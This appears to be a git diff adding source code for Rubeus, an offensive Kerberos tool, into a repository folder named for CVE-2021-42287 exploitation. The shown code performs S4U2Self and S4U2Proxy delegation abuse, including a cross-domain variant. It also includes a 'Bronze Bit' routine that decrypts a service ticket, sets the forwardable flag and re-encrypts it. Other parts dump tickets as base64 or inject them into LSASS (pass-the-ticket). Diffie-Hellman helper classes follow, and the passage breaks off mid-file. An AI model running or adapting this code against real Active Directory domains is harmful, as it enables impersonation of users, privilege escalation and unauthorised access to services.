+ byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + if (!String.IsNullOrEmpty(outfile)) + { + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + } + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + } + private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial) + { + // extract out the info needed for the TGS-REQ/S4U2Self execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); + + Console.WriteLine("[*] Sending S4U2self request"); + byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); + if (response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] S4U2self success!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // if we want to use this s4u2self ticket for authentication, change the sname + if (!String.IsNullOrEmpty(altService) && self) + { + rep.ticket.sname.name_string[0] = altService.Split('/')[0]; + rep.ticket.sname.name_string.Add(altService.Split('/')[1]); + } + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + if (bronzebit && !String.IsNullOrEmpty(keyString)) + { + Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags); + info.flags |= Interop.TicketFlags.forwardable; + + // get user longterm key from keyString + byte[] key = Helpers.StringToByteArray(keyString); + + // decrypt and decode ticket encpart + var decTicketPart = rep.ticket.Decrypt(key, null, true); + + // modify flags + decTicketPart.flags |= Interop.TicketFlags.forwardable; + + // encode and encrypt ticket encpart + byte[] encTicketData = decTicketPart.Encode().Encode(); + byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); + rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno); + Console.WriteLine("[*] Flags changed to: {0}", info.flags); + } + + // add the ticket + cred.tickets.Add(rep.ticket); + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // if we want to use the s4u2self change the sname here too + if (!String.IsNullOrEmpty(altService) && self) + { + Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); + info.sname.name_string[0] = altService.Split('/')[0]; + info.sname.name_string.Add(altService.Split('/')[1]); + } + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); + Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + Console.WriteLine(""); + + if (!String.IsNullOrEmpty(outfile)) + { + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + if (ptt && self) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + return cred; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + + return null; + } + + private static void CrossDomainS4U(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", string targetDomainController = "", string targetDomain = "") + { + // extract out the info needed for the TGS-REQ/S4U2Self execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + // user variables + string user = string.Format("{0}@{1}", userName, domain); + string target = string.Format("{0}@{1}", targetUser, targetDomain); + + // First retrieve our service ticket for the target domains KRBTGT from our DC + Console.WriteLine("[*] Retrieving referral TGT from {0} for foreign domain, {1}, KRBTGT service", domain, targetDomain); + byte[] crossBytes = Ask.TGS(userName, domain, ticket, clientKey, etype, string.Format("krbtgt/{0}", targetDomain), Interop.KERB_ETYPE.subkey_keymaterial, "", false, domainController, true); + KRB_CRED crossTGS = new KRB_CRED(crossBytes); + Interop.KERB_ETYPE crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; + byte[] crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; + + // Next retrieve an S4U2Self referral from the target domains DC + // to be used when we ask for a S4U2Self from our DC + // We need to use our referral TGT for the target domain for this + Console.WriteLine("[*] Retrieving the S4U2Self referral from {0}", targetDomain); + KRB_CRED foreignSelf = CrossDomainS4U2Self(user, target, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial); + crossEtype = (Interop.KERB_ETYPE)foreignSelf.enc_part.ticket_info[0].key.keytype; + crossKey = foreignSelf.enc_part.ticket_info[0].key.keyvalue; + + // Now retrieve the S4U2Self ticket from our DC + // We use the S4U2Self referral to ask for this + Console.WriteLine("[*] Requesting the S4U2Self ticket from {0}", domain); + KRB_CRED localSelf = CrossDomainS4U2Self(user, target, domainController, foreignSelf.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, false); + + if (!String.IsNullOrEmpty(targetSPN)) + { + + // Using our standard TGT and attaching our local S4U2Self + // retrieve an S4U2Proxy from our DC + // This will be needed for the last request + KRB_CRED localS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, localSelf.tickets[0], false); + crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; + crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; + + // Lastly retrieve the final S4U2Proxy from the foreign domains DC + // This is the service ticket we need to access the target service + KRB_CRED foreignS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, localS4U2Proxy.tickets[0], true, ptt); + } + } + + // to perform the 2 S4U2Self requests + private static KRB_CRED CrossDomainS4U2Self(string userName, string targetUser, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, bool cross = true, string altService = "", bool self = false, string requestDomain = "", bool ptt = false) + { + // die if can't get IP of DC + string dcIP = Networking.GetDCIP(targetDomainController); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + Console.WriteLine("[*] Requesting the cross realm 'S4U2Self' for {0} from {1}", targetUser, targetDomainController); + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, targetUser, ticket, clientKey, etype, requestEType, cross, requestDomain); + + Console.WriteLine("[*] Sending cross realm S4U2Self request"); + byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); + if (response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] cross realm S4U2Self success!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // if we want to use this s4u2self ticket for authentication, change the sname + if (!String.IsNullOrEmpty(altService) && self) + { + rep.ticket.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + rep.ticket.sname.name_string[0] = altService.Split('/')[0]; + rep.ticket.sname.name_string.Add(altService.Split('/')[1]); + } + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + // if we're rewriting the S4U2Self sname, change it here too + if (!String.IsNullOrEmpty(altService) && self) + { + Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); + info.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + info.sname.name_string[0] = altService.Split('/')[0]; + info.sname.name_string.Add(altService.Split('/')[1]); + } + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + PrintTicket(kirbiBytes, "base64(ticket.kirbi)"); + + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + return kirbi; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + return null; + } + + // to perform the 2 S4U2Proxy requests + private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false) + { + string dcIP = Networking.GetDCIP(targetDomainController); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + string domain = userName.Split('@')[1]; + string targetDomain = targetUser.Split('@')[1]; + + Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController); + TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false); + PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype); + s4u2proxyReq.padata.Add(padata); + PA_DATA pac_options = new PA_DATA(false, false, false, true); + s4u2proxyReq.padata.Add(pac_options); + + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + + if (cross) + { + s4u2proxyReq.req_body.realm = targetDomain; + } + else + { + s4u2proxyReq.req_body.realm = domain; + } + + string[] parts = targetSPN.Split('/'); + string serverName = parts[parts.Length - 1]; + + s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + foreach (string part in parts) + { + s4u2proxyReq.req_body.sname.name_string.Add(part); + } + + // supported encryption types + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + + // add in the ticket from the S4U2self response + s4u2proxyReq.req_body.additional_tickets.Add(tgs); + + byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); + + Console.WriteLine("[*] Sending S4U2proxy request"); + byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); + if (response2 == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response2, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] S4U2proxy success!"); + + // parse the response to an TGS-REP + TGS_REP rep2 = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); + AsnElt ae2 = AsnElt.Decode(outBytes2, false); + EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); + + // now build the final KRB-CRED structure, no alternate snames + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + Console.WriteLine(""); + + if (ptt && cross) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + return kirbi; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + + return null; + } + + // added little function to print tickets because it seemed to make sense at the time :-) + private static void PrintTicket(byte[] kirbiBytes, string message) + { + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] {0}:\r\n", message); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + Console.WriteLine(""); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/SafeNativeMethods.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/SafeNativeMethods.cs new file mode 100644 index 0000000..d3cb331 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/SafeNativeMethods.cs @@ -0,0 +1,106 @@ +using System; +using System.ComponentModel; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +internal static class SafeNativeMethods { + + //Based on code from http://www.infinitec.de/post/2010/11/22/Setting-the-PIN-of-a-smartcard-programmatically.aspx + public static void SetPinForPrivateKey(this X509Certificate2 certificate, string pin) { + + if (certificate == null) + throw new ArgumentNullException("certificate"); + + + if (certificate.PrivateKey is RSACryptoServiceProvider rsaCsp) { + + var providerHandle = IntPtr.Zero; + var pinBuffer = Encoding.ASCII.GetBytes(pin); + + // provider handle is implicitly released when the certificate handle is released. + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptAcquireContext(ref providerHandle, + rsaCsp.CspKeyContainerInfo.KeyContainerName, + rsaCsp.CspKeyContainerInfo.ProviderName, + rsaCsp.CspKeyContainerInfo.ProviderType, + SafeNativeMethods.CryptContextFlags.Silent)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptSetProvParam(providerHandle, + SafeNativeMethods.CryptParameter.KeyExchangePin, + pinBuffer, 0)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CertSetCertificateContextProperty( + certificate.Handle, + SafeNativeMethods.CertificateProperty.CryptoProviderHandle, + 0, providerHandle)); + } + /* Only available in .NET 4.6+ + else if (certificate.PrivateKey is RSACng rsaCng) { + // Set the PIN, an explicit null terminator is required to this Unicode/UCS-2 string. + + byte[] propertyBytes; + + if (pin[pin.Length - 1] == '\0') { + propertyBytes = Encoding.Unicode.GetBytes(pin); + } else { + propertyBytes = new byte[Encoding.Unicode.GetByteCount(pin) + 2]; + Encoding.Unicode.GetBytes(pin, 0, pin.Length, propertyBytes, 0); + } + + const string NCRYPT_PIN_PROPERTY = "SmartCardPin"; + + CngProperty pinProperty = new CngProperty( + NCRYPT_PIN_PROPERTY, + propertyBytes, + CngPropertyOptions.None); + + rsaCng.Key.SetProperty(pinProperty); + + } + */ + } + + internal enum CryptContextFlags { + None = 0, + Silent = 0x40 + } + + internal enum CertificateProperty { + None = 0, + CryptoProviderHandle = 0x1 + } + + internal enum CryptParameter { + None = 0, + KeyExchangePin = 0x20 + } + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool CryptAcquireContext( + ref IntPtr hProv, + string containerName, + string providerName, + int providerType, + CryptContextFlags flags + ); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern bool CryptSetProvParam( + IntPtr hProv, + CryptParameter dwParam, + [In] byte[] pbData, + uint dwFlags); + + [DllImport("CRYPT32.DLL", SetLastError = true)] + internal static extern bool CertSetCertificateContextProperty( + IntPtr pCertContext, + CertificateProperty propertyId, + uint dwFlags, + IntPtr pvData + ); + + public static void Execute(Func action) { + if (!action()) { + throw new Win32Exception(Marshal.GetLastWin32Error()); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/DiffieHellmanKey.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/DiffieHellmanKey.cs new file mode 100644 index 0000000..33164a2 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/DiffieHellmanKey.cs @@ -0,0 +1,53 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; +using Asn1; +using Rubeus.Asn1; + +namespace Kerberos.NET.Crypto +{ + public enum AsymmetricKeyType { + Public, + Private + } + + public class DiffieHellmanKey : IExchangeKey + { + public AsymmetricKeyType Type { get; set; } + + public KeyAgreementAlgorithm Algorithm { get; set; } + + public DateTimeOffset? CacheExpiry { get; set; } + + public int KeyLength { get; set; } + + public byte[] Modulus { get; set; } + + public byte[] Generator { get; set; } + + public byte[] Factor { get; set; } + + public byte[] PublicComponent { get; set; } + + public byte[] PrivateComponent { get; set; } + + public byte[] EncodePublicKey() + { + return AsnElt.MakeInteger(this.PublicComponent).Encode(); + } + + public static DiffieHellmanKey ParsePublicKey(byte[] data, int keyLength) + { + AsnElt publicKeyAsn = AsnElt.Decode(data); + + if(publicKeyAsn.TagValue != AsnElt.INTEGER) { + throw new ArgumentException("data doesn't appear to be an ASN.1 encoded INTERGER"); + } + + return new DiffieHellmanKey { PublicComponent = publicKeyAsn.GetOctetString().DepadLeft().PadRight(keyLength) }; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/IExchangeKey.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/IExchangeKey.cs new file mode 100644 index 0000000..04f3221 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/IExchangeKey.cs @@ -0,0 +1,26 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; + +namespace Kerberos.NET.Crypto +{ + public interface IExchangeKey + { + int KeyLength { get; set; } + + DateTimeOffset? CacheExpiry { get; set; } + + byte[] PrivateComponent { get; set; } + + byte[] PublicComponent { get; set; } + + KeyAgreementAlgorithm Algorithm { get; set; } + + AsymmetricKeyType Type { get; set; } + + byte[] EncodePublicKey(); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/IKeyAgreement.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/IKeyAgreement.cs new file mode 100644 index 0000000..5a41e76 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/IKeyAgreement.cs @@ -0,0 +1,20 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; + +namespace Kerberos.NET.Crypto +{ + public interface IKeyAgreement : IDisposable + { + IExchangeKey PublicKey { get; } + + IExchangeKey PrivateKey { get; } + + byte[] GenerateAgreement(); + + void ImportPartnerKey(IExchangeKey publicKey); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/KeyAgreementAlgorithm.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/KeyAgreementAlgorithm.cs new file mode 100644 index 0000000..0c817fb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/KeyAgreementAlgorithm.cs @@ -0,0 +1,17 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +namespace Kerberos.NET.Crypto +{ + public enum KeyAgreementAlgorithm + { + None = 0, + DiffieHellmanModp2, + DiffieHellmanModp14, + EllipticCurveDiffieHellmanP256, + EllipticCurveDiffieHellmanP384, + EllipticCurveDiffieHellmanP521, + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellman.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellman.cs new file mode 100644 index 0000000..289b0ea --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellman.cs @@ -0,0 +1,189 @@ + +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- +// +// CCob (@_EthicalChaos_) - Updated slightly from original Kerberos.NET version to use BigInteger +// from Mono library and not .NET, since System.Numerics is only available +// since .NET 4.0+. Also switched to raw byte arrays for .NET 2.0+ compatibility. +// Mono's internal representation of data is in also in big endian format +// so this class had to be updated to reflect that as .NET's BigInteger is little endian. +// We are not particular bothered about security correctness of using ManagedDiffieHellman +// as long as we can use it to calculate a valid shared secret from the KDC. +// + +using Mono.Math; +using System; +using System.Linq; +using System.Security.Cryptography; + +namespace Kerberos.NET.Crypto { + ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + // + // DO NOT USE THIS + // + // THIS IS NOT PRODUCTION-WORTHY CODE + // IT IS UNSAFE AND UNTESTED + // + // DO NOT USE THIS + // + ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + + /// + /// DO NOT USE THIS + /// + /// THIS IS NOT PRODUCTION-WORTHY CODE + /// IT IS UNSAFE AND UNTESTED + /// + /// DO NOT USE THIS + /// + public abstract class ManagedDiffieHellman : IKeyAgreement + { + private readonly int keyLength; + + private readonly BigInteger prime; + private readonly BigInteger generator; + private readonly BigInteger factor; + private readonly BigInteger x; + + private readonly BigInteger y; + + private BigInteger partnerKey; + private bool disposedValue; + + public ManagedDiffieHellman(byte[] prime, byte[] generator, byte[] factor) + { + this.keyLength = prime.Length; + + this.prime = ParseBigInteger(prime); + this.generator = ParseBigInteger(generator); + this.factor = ParseBigInteger(factor); + + this.x = this.GeneratePrime(); + + this.y = this.generator.ModPow(this.x, this.prime); + + this.PublicKey = new DiffieHellmanKey + { + Type = AsymmetricKeyType.Public, + Generator = this.Depad(this.generator.GetBytes()), + Modulus = this.Depad(this.prime.GetBytes()), + PublicComponent = this.Depad(this.y.GetBytes()), + Factor = this.Depad(this.factor.GetBytes()), + KeyLength = prime.Length + }; + + this.PrivateKey = new DiffieHellmanKey + { + Type = AsymmetricKeyType.Private, + Generator = this.Depad(this.generator.GetBytes()), + Modulus = this.Depad(this.prime.GetBytes()), + PublicComponent = this.Depad(this.y.GetBytes()), + Factor = 